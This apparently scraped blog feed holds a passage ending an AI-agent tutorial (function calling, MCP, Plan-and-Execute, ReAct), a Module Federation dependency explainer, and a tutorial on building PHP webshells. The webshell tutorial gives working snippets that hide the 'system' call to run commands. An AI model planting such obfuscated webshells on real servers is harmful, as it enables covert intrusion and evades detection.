          });
          return `当前日期是${currentDate}`;
        }
        return "";
      }
    );
    addRecord?.({
      id: `analyzerAgent_${Date.now()}`,
      name: name,
      type: "agent",
      desc: `分析完成`,
      content: plan,
      contentType: "json",
      createdAt: Date.now(),
    });

    return plan;
  },

  async makeTextResult(
    planResult: string,
    addRecord?: (record: RecordItem) => void
  ): Promise<string> {
    try {
      const parseResult = JSON.parse(planResult);
      addRecord?.({
        id: `analyzerAgent_${Date.now()}`,
        name: name,
        type: "agent",
        desc: `开始格式化输出...`,
        content: planResult,
        contentType: "json",
        createdAt: Date.now(),
      });

      // 生成结构化的分析结果
      const analysis = `
    **用户旅行意图分析结果**
    🏕️ **目的地**:${parseResult.destination}
    ⏰ **旅行天数**:${parseResult.duration}天
    📅 **出发时间**:${parseResult.startDate}
    📅 **所有日期**:${parseResult.allDates}
    🎯 **偏好类型**:${(parseResult.preferences || ["观光"]).join("、")}
    💰 **预算范围**:${parseResult.budget || "中等"}
    👥 **出行人数**:${parseResult.travelers || 1}人**
    `;

      addRecord?.({
        id: `analyzerAgent_${Date.now()}`,
        name: name,
        type: "agent",
        desc: `格式化输出完成`,
        content: analysis,
        contentType: "text",
        createdAt: Date.now(),
      });
      return analysis;
    } catch (error) {
      console.error("需求组织失败:", error);
      return `需求组织失败: ${error}`;
    }
  },
};

在应用层,针对LLM能做一般只有sdk的调用和prompt的设计。

LLM SDK的调用

现在绝大多数LLM都兼容openai的调用方式,sdk相对简单,下面我们重点介绍工具调用的实现机制。

import OpenAI from "openai";

// 基础模型API调用
export async function chatCompletion(
  options: ChatCompletionOptions,
  toolCallBack?: (
    toolName: string,
    toolArgs?: Record<string, any>
  ) => string | Promise<string>
): Promise<string> {
  try {
    const params: any = getParams(options);

    const response = await client.chat.completions.create(params);

    if (response.choices[0]?.message?.tool_calls?.length) {
      const message = response.choices[0].message;
      const toolCall = response.choices[0].message?.tool_calls[0];
      const toolName = toolCall.function.name;
      const toolArgs = JSON.parse(toolCall.function.arguments);
      const toolResult = await toolCallBack?.(toolName, toolArgs);
      let toolInfo = {
        role: "tool" as const,
        content: toolResult?.toString() || "",
      };

      const newParams: any = getParams({
        ...options,
        messages: [
          ...options.messages,
          message as ChatMessage,
          toolInfo,
        ],
      });
      return chatCompletion(newParams, toolCallBack);
    } else {
      return response.choices[0]?.message?.content || "";
    }
  } catch (error) {
    console.error("API调用失败:", error);
    throw new Error("AI服务暂时不可用,请稍后再试");
  }
}

Prompt的设计

良好的prompt设计可以使LLM更有效更准确的完成目标任务。设计prompt已经成为了一门专门的工程技术。由于其涉及的内容较多,本文不展开讲。感兴趣的可以查看prompt工程指南


AI Agent 如何"行动"

前面我们提到,LLM 是 Agent 的大脑,Tools 是 Agent 的四肢。从本质上讲,Tools 就是 LLM 获取外部信息和执行操作的方式,它可以是 Web API 调用、数据库查询、文件读写操作等。

在我们的旅行规划助手中,使用了两种不同形式的工具:

  1. 纯函数形式的工具: getCurrentDateTool
  2. Web API 形式的工具: getLocationIdToolgetWeatherTool

虽然这两种工具的实现形式不同,但它们与 LLM 的交互方式都是Function Calling(函数调用)

Function Calling

Function Calling是什么

Function Calling 的核心思想是:我们用代码定义函数,并将函数的描述信息(函数名、功能说明、参数列表及类型)提供给 LLM。当 LLM 在"思考"阶段认为需要执行某个操作时,它不会直接执行,而是生成一个包含函数名和参数的特定格式 JSON 对象,请求我们调用相应函数。我们解析这个 JSON 后,在代码环境中执行对应函数,再将执行结果返回给 LLM,LLM 会结合最新结果开始新一轮的"思考"

image.png

上方这张图完整地展示了 模型 调用外部工具函数工作流程:

  1. 开发者首先定义一个查询指定地点天气的工具函数 get_weather(location)。同时,将该定义以及消息:“What’s the weather in Paris?” 发送给了模型。
  2. 模型分析后,决定使用该工具。它不会自己执行,而是返回一个 Tool Calls 的"指令"以及对应的参数'Paris'。
  3. 开发者解析模型返回的结果后,将参数传递到本地的工具函数中并调用。
  4. 本地函数返回结果 { temperature: 14} 后,我们将这个结果并入之前的消息再重新发送给模型。
  5. 型整合信息,生成最终自然语言回答:“It’s currently 14°C in Paris.”。

Function Calling的调用

在函数调用中主要有两个关键步骤,我们以旅行规划助手中的 getLocationIdTool 为例进行详细讲解:

1. 工具函数定义阶段

函数定义的目的是告知模型自身的用途以及需要哪些参数。它包括以下字段:

  • name: 工具函数的名称
  • description: 详细描述何时以及如何使用该函数
  • parameters: 定义函数输入参数的 JSON Schema
{
  "type": "function",
  "function": {
    "name": "get_location_id",
    "description": "将地点名称转换为查询天气所需的LocationId",
    "parameters": {
      "type": "object",
      "properties": {
        "address": {
          "type": "string",
          "description": "地点名称,如'九寨沟'"
        }
      },
      "required": ["address"]
    }
  }
}

在函数定义时,建议遵循以下最佳实践:

  • 明确描述函数和每个参数的格式和用途,以及输出内容的含义
  • 通过 system prompt 准确描述模型应该何时(以及何时不)使用各个函数
  • 提供少量示例来帮助模型更好地理解函数的使用场景

完成定义后,需要将定义发送给模型,模型会根据定义来决定是否使用该工具。

import { OpenAI } from "openai";
const openai = new OpenAI();

const tools = [
  {
    type: "function",
    function: {
      name: "get_location_id",
      description: "将地点名称转换为查询天气所需的LocationId",
      parameters: {
        type: "object",
        properties: {
          address: {
            type: "string",
            description: "地点名称,如'九寨沟'",
          },
        },
        required: ["address"],
      },
    },
  },
];

const messages = [
  {
    role: "user",
    content: "成都对应的LocationId是多少?",
  },
];

const completion = await openai.chat.completions.create({
  model: "qwen-turbo",
  messages,
  tools,
});

请求参数: image.png

2. 工具函数调用阶段

当模型需要调用函数时,响应中会包含一个 tool_calls 数组,每个元素都有一个 id 和一个包含 name 及参数的 function 对象。

响应结果:

image.png

接下来我们解析 function 对象中的 namearguments 字段,并调用对应的函数。

async function getLocationId({ address }: { address: string }) {
  return new Promise((resolve, reject) => {
    fetch(
      `/qweatherapi/geo/v2/city/lookup?location=${address}&key=${qweatherApiKey}`
    )
      .then((res) => res.json())
      .then(({ location }) => {
        resolve(location[0].id);
      })
      .catch((err) => {
        reject(err);
      });
  });
}

const toolCalls = completion.choices[0].message.tool_calls;

for (const toolCall of toolCalls) {
  const name = toolCall.function.name;
  const args = JSON.parse(toolCall.function.arguments);

  if (name === "get_location_id") {
    const result = await getLocationId({address:args.location});
    console.log(result);
  }
}

执行完毕后,需要将工具调用的结果返回给模型,模型会根据结果继续生成响应。

messages.push(completion.choices[0].message); // 将模型生成的消息添加到消息列表中
messages.push({
  role: "tool",
  tool_call_id: toolCall.id,
  content: result.toString(),
}); // 将工具调用的结果添加到消息列表中

// 重新调用模型
const completion = await openai.chat.completions.create({
  model: "qwen-turbo",
  messages,
  tools,
});

新调用的请求参数:

image.png

之后LLM就会根据复合的消息内容生成最终的结果。

MCP

除了传统的 Function Calling,AI Agent 的工具调用正朝着MCP (Model Context Protocol) 方向快速发展。

MCP 是由 Anthropic 提出的开放协议,其目的是在为 AI 应用和外部数据源/工具之间建立安全、标准化的连接。

MCP的架构

和 Function Calling 简单直接的调用不同, MCP 遵循的是 Client-Server 架构,下方有一个 MCP 架构的示意图:

image.png

  • MCP Hosts: 发起 MCP 请求的宿主应用程序,"旅行规划助手"这个项目就可以看做是一个 MCP 宿主应用。宿主应用内部一般会集成一个或多个MCP客户端,宿主应用负责任务编排,管理对话状态以及将需要外部数据或信息的调用任务分派给MCP客户端。
  • MCP Clients: MCP客户端是在宿主应用内部与MCP服务器通信的代理,客户端负责与MCP服务器进行协议交互,包括能力协商(handshake)、请求转发、结果接收等。当模型在对话中需要调用某个工具或获取资源时,宿主会通过对应的客户端向服务器发送请求。
  • MCP Server: 提供 MCP 服务的实体,可以是独立进程,也可以是服务。可以运行在本地,也可以运行在远端。MCP 服务器会连接到实际的后端系统(数据库、文件系统、外部API等),并按照MCP规范提供统一的接口供MCP客户端调用。

MCP的通信方式

MCP基于JSON-RPC 2.0协议进行通信,所有消息(请求、响应、通知、错误)均采用JSON结构。它支持两种主要传输方式:STDIO(标准输入输出,适用于本地集成)和HTTP+SSE(基于HTTP的Server-Sent Events,用于远程服务)。本地部署时,宿主可启动一个MCP服务器进程,并通过STDIO管道直接读写数据;远程部署时,客户端通过HTTP连接服务器的SSE端点,保持长连接以接收服务器推送的消息。

image.png

详细了解可以查看modelcontextprotocol


多 Agent 协作

对于需求相对简单的项目(如我们的旅行规划需求),使用单个 Agent 完全可以胜任。但随着系统功能日益复杂,单个 Agent 往往会力不从心。此时我们可以考虑将不同功能模块拆分给专门的 Agent,并将它们组合成一个 Multi-Agent 系统。

使用多代理系统的主要优势包括:

  • 任务聚焦: 每个 Agent 可以专注于特定领域,成为该领域的"专家",比如专门写代码的"程序员 Agent"和专门做 UI 设计的"设计师 Agent"。这比让一个"全能"Agent 处理所有事务要高效且可靠得多。
  • 问题分解: 可以将复杂问题分解给不同的 Agent,支持并行处理或接力完成。
  • 独立优化: 我们可以独立优化和升级某个专家 Agent,而不影响整个系统的其他部分。

Multi-Agent 架构模式

Multi-Agent 架构通常有以下几种主要模式:

  • Network(网络模式): 每个代理都可以与其他每个代理直接通信,任何代理都可以决定接下来要调用哪个其他代理。
  • Supervisor(主管模式): 每个代理都与一个主管代理通信,主管代理负责决定接下来应调用哪个代理。
  • Hierarchical(分层模式): 代理可以有多个层级,每个层级可以有多个代理。
  • Custom Workflow(自定义工作流模式): 各代理仅与一部分代理通信,流程的各个部分是确定性的,只有其中一些代理可以决定接下来要调用哪些其他代理。

image.png

演示项目中的"主管-专家"模式

在演示项目中,我们使用的是 Supervisor 模式。由 Coordinator 扮演主管的角色,按照预编排好的静态流程,协调专家 Agent 的调用逻辑并管理 Agent 之间的信息传递。具体的流程如下:

用户指令: 我想7月6号在成都玩三天,预算3000元左右

  1. AgentCoordinator 接收到指令后, 按预定顺序分发任务:

    • Step 1: "AnalyzerAgent,提取用户需求:目的地、时间、预算等关键信息"
    • Step 2: "WeatherAgent,根据分析结果查询成都 7 月 6-8 日的天气情况"
    • Step 3: "PlannerAgent,结合需求分析和天气信息,生成详细的三天行程"
  2. 三个专家 Agent 依次执行:

    • AnalyzerAgent 调用 getCurrentDateTool 获取当前日期
    • WeatherAgent 调用 getLocationIdTool, getWeatherTool 获取天气数据
    • PlannerAgent 综合前两个 Agent 的结果,生成详细方案
  3. 专家 Agent 完成后,将结果返回给 AgentCoordinator,然后交由页面进行展示

这种模式大大提升了系统的模块化、可扩展性和处理复杂问题的能力。

在演示系统中,为了使不同的 Agent 之间能够顺畅地传递信息,我们必须严格控制前一个 Agent 的输出格式。如果各个Agent由不同的团队协作开发,如何提高协作效率,减少因输出格式不一致而导致的沟通成本呢?这里就引出了一个新概念:A2A

A2A

与 MCP 类似,A2A 也是一种开放的标准化协议。不同的是,A2A 专门面向不同 AI 代理之间的信息传递场景,定义了代理之间如何交换数据以及如何处理这些数据。

image.png

A2A 是由 Google 在 2024 年 4 月推出的标准,目前仍在完善中,因此这里不做深入展开。更详细的信息可以参考 A2A 官方文档


AI Agent 如何"思考"

不知各位有没有注意到,前文中描述AI Agent时反复提到一个关键词自主。AI Agent自主性的基石是LLM,那么如何让AI Agent能够更加自主的思考和规划呢?

这就涉及两种核心的AI Agent模式:

  • Plan-and-Execute(规划-执行模式)
  • ReAct(推理-行动框架)

Plan-and-Execute 模式

演示项目中的 AgentCoordinator 使用的是静态的 Agent 协作流程,在编排层面无需 Agent 参与。我们预先规定了每个 Agent 的执行顺序以及输入输出格式。这种模式对于当前的简单需求完全够用,但当需要构建能够处理复杂任务的 Agent 时,静态编排方式就力不从心了。

// 静态编排流程
async execute(userQuery: string): Promise<AgentResults> {
    try {
      //  第一步:需求分析
      const { textResult: analysisResult, jsonResult: analysisJsonResult } =
        await this.executeAgentWithCallback(analyzerAgent, userQuery);
      this.addRecord({
        id: `coordinator_${Date.now()}`,
        name: this.name,
        type: "supervisor",
        desc: "需求分析任务完成",
        content: "",
        contentType: "",
        createdAt: Date.now(),
      });

      // 第二步:天气收集
      const { textResult: weatherResult, jsonResult: weatherJsonResult } =
        await this.executeAgentWithCallback(
          weatherAgent,
          `旅行地点: ${JSON.parse(analysisJsonResult).destination};旅行日期: ${
            JSON.parse(analysisJsonResult).allDates
          }`
        );
      // 第三步:行程规划
      const { jsonResult: plannerJsonResult, textResult: plannerResult } =
        await this.executeAgentWithCallback(
          plannerAgent,
          `
          用户旅行意图分析结果:
          ${analysisResult}
          用户旅行期间的天气信息与建议:
          ${weatherResult}
          `
        );

      // 返回包含所有Agent结果的完整数据
      return {
        analysis: {
          text: analysisResult,
          json: analysisJsonResult,
        },
        weather: {
          text: weatherResult,
          json: weatherJsonResult,
        },
        planner: {
          text: plannerResult,
          json: plannerJsonResult,
        },
      };
    } catch (error) {
      console.error("Agent协作执行失败:", error);
      throw error;
    }
  }

举个例子,假设我们要构建一个"办公助手"系统,用户可以提出任何办公相关的任务:

  • 用户输入:"帮我写一篇关于 AI Agent 的报告"

    • Agent 调用链:联网搜索 Agent → 报告生成 Agent → 报告审核 Agent
  • 用户输入:"帮我分析这份 Excel 中的数据并绘制图表"

    • Agent 调用链:数据分析 Agent → 图表生成 Agent
  • 用户输入:"请为这份分析好的数据绘制相应的图表"

    • Agent 调用链: 图表生成 Agent

不同目标对应的 Agent 调用链完全不同,显然无法通过硬编码实现流程编排。这时我们可以依赖 LLM 来分析用户需求,制定 Agent 调用计划,然后按计划执行。这种 "制定计划 → 按计划执行" 的过程,就是 Plan-Execute 模式的核心思想。

Plan-Execute 模式有两个核心阶段:

  1. 规划(Planning)阶段:Agent 首先对整个复杂任务进行宏观分析,生成高层次的执行计划(步骤列表)。
  2. 执行(Execution)阶段:Agent 按照制定好的计划逐一执行每个步骤,执行完毕后可根据需要调整计划。

结合这种模式,我们可以将'主管-专家'架构中的'主管'角色设计为一个使用LLM的Agent,由这个Agent去根据用户的输入以及各个专家agent的能力,动态制定Agent调用计划。

我们可以改造演示项目,编写一个名为SmartSupervisor的主管Agent

/**
 * 主管Agent
 * 通过大模型分析用户输入,智能决定Agent调用顺序和选择
 */
export class SmartSupervisor {
  public name = "SmartSupervisor";
  private plan: TaskPlan | null = null;
  private outputPool: any[] = [];
  private finalResult: AgentResults = {
    analysis: {
      text: "",
      json: "",
    },
    weather: {
      text: "",
      json: "",
    },
    planner: {
      text: "",
      json: "",
    },
  };
  private addRecord: (record: RecordItem) => void;
  private gateKeeper: GateKeeper;

  private readonly planningPrompt = `
  ## 角色设定
  你是一名资深的Agent管理专家,在你的团队下有"PlannerAgent"、"WeatherAgent"、"AnalyzerAgent"三个专家Agent。你的任何是根据用户的输入,规划出合理的Agent执行计划。
  ## 团队中的各Agent的系统设定如下(系统设定中含有角色设定, 任务描述, 输入信息, 输出格式以及示例等):
  - PlannerAgent: ${plannerAgent.systemPrompt}
  - WeatherAgent: ${weatherAgent.systemPrompt}
  - AnalyzerAgent: ${analyzerAgent.systemPrompt}
  ## 规划原则
  1. **熟悉团队成员**: 熟悉团队各Agent的系统设定, 熟悉他们的职责以及要求的输入信息, 输出格式等
  2. **信息完整性分析**: 分析用户已提供的信息,确定缺失的关键信息
  3. **Agent选择优化**: 结合团队中各Agent的系统设定, 确定需要调用的Agent
  4. **执行顺序优化**: 根据信息依赖关系确定最优调用顺序
  5. **效率优先**: 在保证质量的前提下,尽量减少Agent调用次数
  6. **不要代劳**: 只完成你的规划工作, 不要代劳团队成员职责内的任务
  7. **智能规划**: 如果用户输入中已经包含了某个Agent的职责内的信息, 则不需要调用该Agent

  ## 输出格式
  请严格按照以下JSON格式输出执行计划:
  你应该输出一个数组,数组中每个元素都是一个对象,对象中包含agentName和reason字段,agentName为当前agent的名称,reason为选择当前agent的原因。
  ### 输出示例:
  [
      {
        agentName: "当前agent的名称",# AnalyzerAgent"|"WeatherAgent"|"PlannerAgent"
        reason: "选择当前agent的原因",
      },
      {
        agentName: "当前agent的名称",# AnalyzerAgent"|"WeatherAgent"|"PlannerAgent"
        reason: "选择当前agent的原因",
      }
    ]
  `;

  constructor(addRecord: (record: RecordItem) => void) {
    this.addRecord = addRecord;
    this.gateKeeper = new GateKeeper(addRecord);
  }

  /**
   * 主要的任务执行入口 - Plan-and-Execute模式
   */
  async execute(query: string): Promise<any> {

    this.outputPool = [
      {
        makerName: "user",
        outputText: query,
        outputJson: "",
      },
    ];
    // Plan阶段:通过LLM智能规划
    this.plan = await this.intelligentPlanning(query);

    // Execute阶段:执行规划的任务
    const result = await this.executeStep(this.plan!);

    return result;
  }

  /**
   * 智能规划阶段 - 通过LLM分析用户输入,制定执行计划
   */
  private async intelligentPlanning(query: string): Promise<any> {
    const userInput = `用户输入为: "${query}"`;

    const response = await chatCompletion({
      messages: [
        { role: "system", content: this.planningPrompt },
        { role: "user", content: userInput },
      ],
    });

    const planData = JSON.parse(response);

    const planId = `intelligent_plan_${Date.now()}`;

    // 根据LLM建议的执行顺序创建步骤
    const steps: PlanStep[] = planData.map(
      (agentConfig: any, index: number) => {
        const step: PlanStep = {
          id: `step_${agentConfig.agentName.toLowerCase()}_${
            Date.now() + index
          }`,
          title: agentConfig.agentName,
          description: agentConfig.reason,
          inputs: {},
          outputs: {},
          done: false,
          observeDone: false,
          error: null,
        };
        return step;
      }
    );

    const plan: TaskPlan = {
      id: planId,
      steps,
      originalInput: query,
      createdAt: Date.now(),
    };

    return plan;
  }

  /**
   * 执行计划
   */
  private async executeStep(plan: TaskPlan): Promise<any> {
    let index = 0;
    for await (const step of plan.steps) {
      console.log(`🔄 [${this.name}] [execute] 执行步骤: ${step.title}`);
      this.addRecord({
        id: `plan_${Date.now()}`,
        name: this.name,
        type: "supervisor",
        desc: `分配任务到: ${step.title}`,
        content: "",
        contentType: "",
        createdAt: Date.now(),
      });
      const agent = {
        AnalyzerAgent: analyzerAgent,
        WeatherAgent: weatherAgent,
        PlannerAgent: plannerAgent,
      }[step.title];

      const gateKeeperResult = await this.gateKeeper.makeParams({
        agentName: step.title,
        outputPool: this.outputPool,
      });

      const jsonResult = await agent!.getJSONResult(
        {
          query: gateKeeperResult.targetAgentInput,
        },
        this.addRecord
      );

      const textResult = await agent!.makeTextResult(
        jsonResult,
        this.addRecord
      );

      this.outputPool.push({
        makerName: step.title,
        outputText: textResult,
        outputJson: JSON.parse(jsonResult),
      });

      this.plan!.steps[index].outputs = {
        jsonResult: jsonResult,
        textResult: textResult,
      };
      index++;
    }

    for (const step of this.plan!.steps) {
      if (step.title === "AnalyzerAgent") {
        this.finalResult.analysis = {
          text: step.outputs?.textResult,
          json: step.outputs?.jsonResult,
        };
      } else if (step.title === "WeatherAgent") {
        this.finalResult.weather = {
          text: step.outputs?.textResult,
          json: step.outputs?.jsonResult,
        };
      } else if (step.title === "PlannerAgent") {
        this.finalResult.planner = {
          text: step.outputs?.textResult,
          json: step.outputs?.jsonResult,
        };
      }
    }
    return this.finalResult;
  }
}

此时运行项目得到的大致执行流程如下:

用户指令我想7月6号在成都玩三天,预算3000元左右

📝 规划阶段:

这是一个复杂的旅行规划任务,需要分解处理。合理的执行计划应该是:

  1. 调用 AnalyzerAgent 分析用户需求,提取关键信息
  2. 调用 WeatherAgent 查询目的地天气情况
  3. 调用 PlannerAgent 结合前两步结果生成详细行程

🚀 执行阶段:

  • Step 1:需求分析
    • 委派 AnalyzerAgent 执行需求分析
  • Step 2:天气查询
    • 委派 WeatherAgent 执行天气查询
  • Step 3:行程规划
    • 委派 PlannerAgent 执行行程规划

Plan–Execute 模式通过分离“规划”和“执行”,不仅提升了 AI Agent 的可维护性,还能够提升流程执行的灵活性。比如说, 演示项目中如果用户在输入环节已经提供了足够的需求信息以及天气信息, 主管Agent就会忽略AnalyzerAgent和WeatherAgent, 通过PlannerAgent直接生成报告。


ReAct模式

ReAct 的名字非常直观,就是 推理(Reason)行动(Act) 的结合。它模拟了人类解决问题的基本模式:推理 → 行动 → 观察 → 再思考...,形成一个闭环,直到任务完成。

这个模式各个环节所完成的任务如下:

  • 推理:LLM 分析任务并将其分解为多个步骤。它计划要采取的行动,并根据可用的信息和工具决定如何解决问题。
  • 行动:按照计划执行每个步骤,在此期间可以调用工具来获取外部信息。
  • 观察:执行每个动作后,代理会观察结果并将相关信息保存在内存中 。这种跟踪使它能够跟踪过去的作并建立在以前的观察结果之上,因此它不会重复自身或丢失上下文。
  • 再思考:根据观察结果调整计划,并重复上述过程,直到任务完成

我们可以通过对比Plan–Execute来更深入地理解这种模式:

维度 Plan–Execute 模式 ReAct模式
流程结构 两阶段:先整体规划(Plan),再分步执行(Execute)。 交叉式:在同一对话或循环中,推理(Reasoning)行动(Acting) 交替进行。
模块职责 - 规划器:负责生成高层行动计划(步骤序列)。
- 执行器:负责具体动作的落实和监控。
无明显分层,模型在同一上下文中同时承担推理与输出动作指令。
决策节奏 先全局后局部:先确定完整计划,再执行各子步骤。 即推即做:每次推理后立即执行一次动作,依据反馈再推理下一步。
适用场景 - 复杂、多步骤任务(如机器人操作、业务流程自动化)。
- 需要严格顺序与资源分配的场景。
- 信息检索、问答对话等交互式场景。
- 步骤灵活、依赖外部反馈即时调整的任务。

再对比之前的场景,ReAct模式Agent的执行流程大致如下:

用户指令我想7月6号在成都玩三天,预算3000元左右

  • Step 1:需求分析
    • 🧠 Thought(推理):用户提出旅行计划,但没有说明出发地和偏好,第一步我应该解析需求
    • ⚙️ Action:调用 AnalyzerAgent 对用户输入进行信息提取
    • 👁️ Observation(观察):分析结果是否满足要求
  • Step 2:天气查询
    • 🧠 Thought(推理):好的,用户意图基本清晰。为了合理安排行程,我需要知道成都这几天的天气
    • ⚙️ Action:调用 WeatherAgent 查询 7月6日–8日 成都天气
    • 👁️ Observation(观察):分析结果是否满足要求。
  • Step 3:行程规划
    • 🧠 Thought(推理):好,我知道了天气情况。可以开始安排合理的行程
    • ⚙️ Action:调用 PlannerAgent 进行行程规划
    • 👁️ Observation(观察):分析结果是否满足要求

需要注意的是Plan–Execute模式与ReAct模式并不是两个互斥的概念,面对复杂任务时,如果有必要我们可以将两个模式结合起来,构建出更完善可靠的Agent系统。

总结

让我们快速回顾一下核心要点:

  1. AI Agent 的本质LLM + Memory + Planning + Tools,其核心是LLM,关键特性是自主性
  2. 工具调用Function CallingMCP Server都是Agent感知外部世界获取外部世界信息的方式。
  3. 协作架构多 Agent 系统通过专业分工,能够更好地解决复杂问题。
  4. 思考模式Plan-and-ExecuteReAct是两种不同的思考模式,它们之间并不互斥。

AI领域的变化日新月异,各种概念层出不穷。由于时间关系,文中提到的诸如MCP、A2A以及Agent的另一核心部分Memory没有详细展开。构建Agent也有很多其他方面的概念,比如Context、Human-in-the-loop等等本文也没有涉及。建议大家自行再去探索,因为抛开作为AI应用入口的Web端,就AI应用层来说,各大流行SDK或框架所支持的语言除了python一般都是JS/TS(比如 OpenAI SDK、langChain、langGraph、Transformers.js),前端开发者与AI领域的距离并没有想象中那么遥远。

谢谢大家!

Module Federation 下 shared 父依赖的子依赖版本机制详解

2025年7月3日 17:35

问题

  • 父依赖(比如 packageA)被列入了 shared 配置,因此各 MF 子应用和宿主会尝试共用一份 packageA。
  • 子依赖(比如 packageA 依赖的 packageB)没有被 shared。
  • 这个时候MF里面,最终“父依赖 packageA”实际上用的是哪一份“子依赖 packageB”?

结论 TL;DR

Module Federation 只对被 shared 配置的包做共享。父包被 shared 但它引用的子依赖(没被 shared),最终会用“父包构建时自己的 node_modules 里的那个版本”。


原理

  • shared 配置只影响被列出来的包。Webpack MF shared 会把包注册在 runtime 的 sharedScope 池中,其他remote/host只要import就会共用一份。
  • 子依赖(B)如果没被shared,A里写 require('b') 时,resolve 路径依赖于A编译打包时的node_modules/b,不会去sharedScope里找host的或别的地方的B。
  • MF不会"递归共享"。只有你明确在shared里声明的才走shared池。

实例说明

假设:

  • 宿主(Host)有 packageB@2.0.0
  • remoteA 建立了 shared: { packageA }(没有 packageB),A自己依赖的是 packageB@1.0.0

流程如下:

  1. MF运行时host和remoteA通过shared机制,保证全局只会加载一份 packageA。
  2. 但 packageA 内部的 require('packageB'),resolve 依然走A打包时内部自己的 packageB@1.0.0。
  3. host 里的 packageB@2.0.0 不会被 remoteA/packageA 的代码自动用上。

可能带来的“坑”

  • 版本不一致:A内使用B@1,host自身是B@2,两者可能因API不兼容出问题,调试非常困难。
  • 副作用不可控:B如果有单例副作用,各remote/host各自有一份,无法做到全局唯一引用。
  • 难以维护:只有被shared的依赖才能全局唯一。

最佳实践建议

  1. 重要依赖/有副作用依赖必须同步写进shared
    • 比如react、mobx这些典型的全局单例副作用库,必须全局都写shared且严格版本控制。
  2. 如需递归共享,必须父子依赖都写入shared
    • 例如:shared: { packageA: {...}, packageB: {...} }
  3. 如果确实要多版本共存的包(比如polyfill、小功能库),可以不用shared。

补充:如果想让父子都完全一致怎么办?

  • 显式在shared里声明父&子依赖,总是确保全链路一致。
  • 如果子依赖非常多/不希望全部shared,则需要评估其副作用和兼容性(如工具型库可以不shared,状态单例类库必须shared)。

总结一句话

在Module Federation下,只有被列入shared的依赖才会全局唯一。未被shared的子依赖,父包用的就是父包本地的那个,不会自动继承host或别的remote的同名依赖!


浅谈 webshell 构造之如何获取恶意函数

2025年7月3日 17:19

前言

这篇文章主要是总结一下自己学习过的 “恶意函数” 篇章,重点是在如何获取恶意函数。

get_defined_functions

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

get_defined_functions — 返回所有已定义函数的数组

我们主要是可以通过这个获取危险的函数

比如

image-20240915094402427

比如

image-20240915094855885

当然还有许多,如何执行命令就很简单了

代码如下

<?php
$a=(get_defined_functions());
$a["internal"][516]("whoami");
?>

image-20240915095621334

get_defined_constants

get_defined_constants — 返回所有常量的关联数组,键是常量名,值是常量值

那获取的常量是不是可以为我们所用呢?

image-20240915095940647

可以看到是有 system 关键字的,我们就可以直接去获取它的 key,然后截取不就是 system 了吗

代码如下

<?php

$a=get_defined_constants();
foreach ($a as $key => $value){
    if (substr($key,0,7)=="INI_SYS"){
        $x= strtolower(substr($key,4,6));
        $x("whoami");
    }
}
?>

image-20240915100659841

自定义方法

通过自定义的方法,从毫无头绪的数字获取到 system 函数,拿出广为流传的例子

<?php
function fun($a){
    $s = ['a','t','s', 'y', 'm', 'e', '/'];
    $tmp = "";
    while ($a>10) {
        $tmp .= $s[$a%10];
        $a = $a/10;
    }
    return $tmp.$s[$a];
}

现在还没有看出端倪,但是当你运行这串代码的时候

<?php
function fun($a){
    $s = ['a','t','s', 'y', 'm', 'e', '/'];
    $tmp = "";
    while ($a>10) {
        $tmp .= $s[$a%10];
        $a = $a/10;
    }
    return $tmp.$s[$a];
}
echo fun(451232);

image-20240915102934616

抛出异常截取字符串

这个手法也是比较特殊的

我们可以随便找一个异常类

比如 ParseError,然后再加上我们刚刚的自定义方法

ParseError 当解析 PHP 代码时发生错误时抛出,比如当 eval() 被调用出错时。

它的一些属性和方法

/* 继承的属性 */
protected string $message = "";
private string $string = "";
protected int $code;
protected string $file = "";
protected int $line;
private array $trace = [];
private ?Throwable $previous = null;
/* 继承的方法 */
public Error::__construct(string $message = "", int $code = 0, ?Throwable $previous = null)
final public Error::getMessage(): string
final public Error::getPrevious(): ?Throwable
final public Error::getCode(): int
final public Error::getFile(): string
final public Error::getLine(): int
final public Error::getTrace(): array
final public Error::getTraceAsString(): string
public Error::__toString(): string
private Error::__clone(): void

可以看到都是基础父类的

Exception::__construct — 异常构造函数
Exception::getMessage — 获取异常消息内容
Exception::getPrevious — 返回前一个 Throwable
Exception::getCode — 获取异常代码
Exception::getFile — 创建异常时的程序文件名称
Exception::getLine — 获取创建的异常所在文件中的行号
Exception::getTrace — 获取异常追踪信息
Exception::getTraceAsString — 获取字符串类型的异常追踪信息
Exception::__toString — 将异常对象转换为字符串
Exception::__clone — 异常克隆

根据这些思路来了,我们如果能够获取报错内容,那不就是隐含的获取了恶意函数吗

代码如下

<?php
function fun($a){
    $s = ['a','t','s', 'y', 'm', 'e', '/'];
    $tmp = "";
    while ($a>10) {
        $tmp .= $s[$a%10];
        $a = $a/10;
    }
    return $tmp.$s[$a];
}
$a = new ParseError(fun(451232));
echo $a->getMessage();

image-20240915103542956

DirectoryIterator

The DirectoryIterator class provides a simple interface for viewing the contents of filesystem directories.

它的一些方法

其中大概看一下,其实

DirectoryIterator::getFilename 就有利用的可能

DirectoryIterator::getFilename — Return file name of current DirectoryIterator item

看一下官方的例子

<?php$dir = new DirectoryIterator(dirname(__FILE__));foreach ($dir as $fileinfo) {    echo $fileinfo->getFilename() . "\n";}?>

以上示例的输出类似于:

.
..
apple.jpg
banana.jpg
index.php
pear.jpg

那岂不是我们如果可以控制自己的文件名或者目录,那不就构造出来了吗

代码如下

<?php
// 创建FilesystemIterator实例
$iterator = new FilesystemIterator(dirname(__FILE__));
foreach ($iterator as $item) {
    // 输出文件和目录的属性
    echo $item->getFilename() . "\n";
}
?>

image-20240915104708485

运行结果

image-20240915104756772

确实是获取到了

pack

这个函数很有意思的

pack — 将数据打包成二进制字符串

可以构造出字符串

pack(string $format, mixed ...$values): string

将输入参数打包成 format 格式的二进制字符串。

这个函数的思想来自 Perl,所有格式化代码(format)的工作原理都与 Perl 相同。但是,缺少了部分格式代码,比如 Perl 的 “u”。

注意,有符号值和无符号值之间的区别只影响函数 unpack(),在那些使用有符号和无符号格式代码的地方 pack() 函数产生相同的结果。

看了一下大概,再看下官方的例子

这是一些它的格式

image-20240915105051397

示例 #1 *pack()* 范例

<?php$binarydata = pack("nvc*", 0x1234, 0x5678, 65, 66);?>

输出结果为长度为 6 字节的二进制字符串,包含以下序列 0x12, 0x34, 0x78, 0x56, 0x41, 0x42。

那我们按照构造出 system 的思路

<?php

echo pack("C6", 115, 121, 115, 116, 101, 109);
echo pack("H*", "73797374656d"); 
?>

这两个结果都是 system

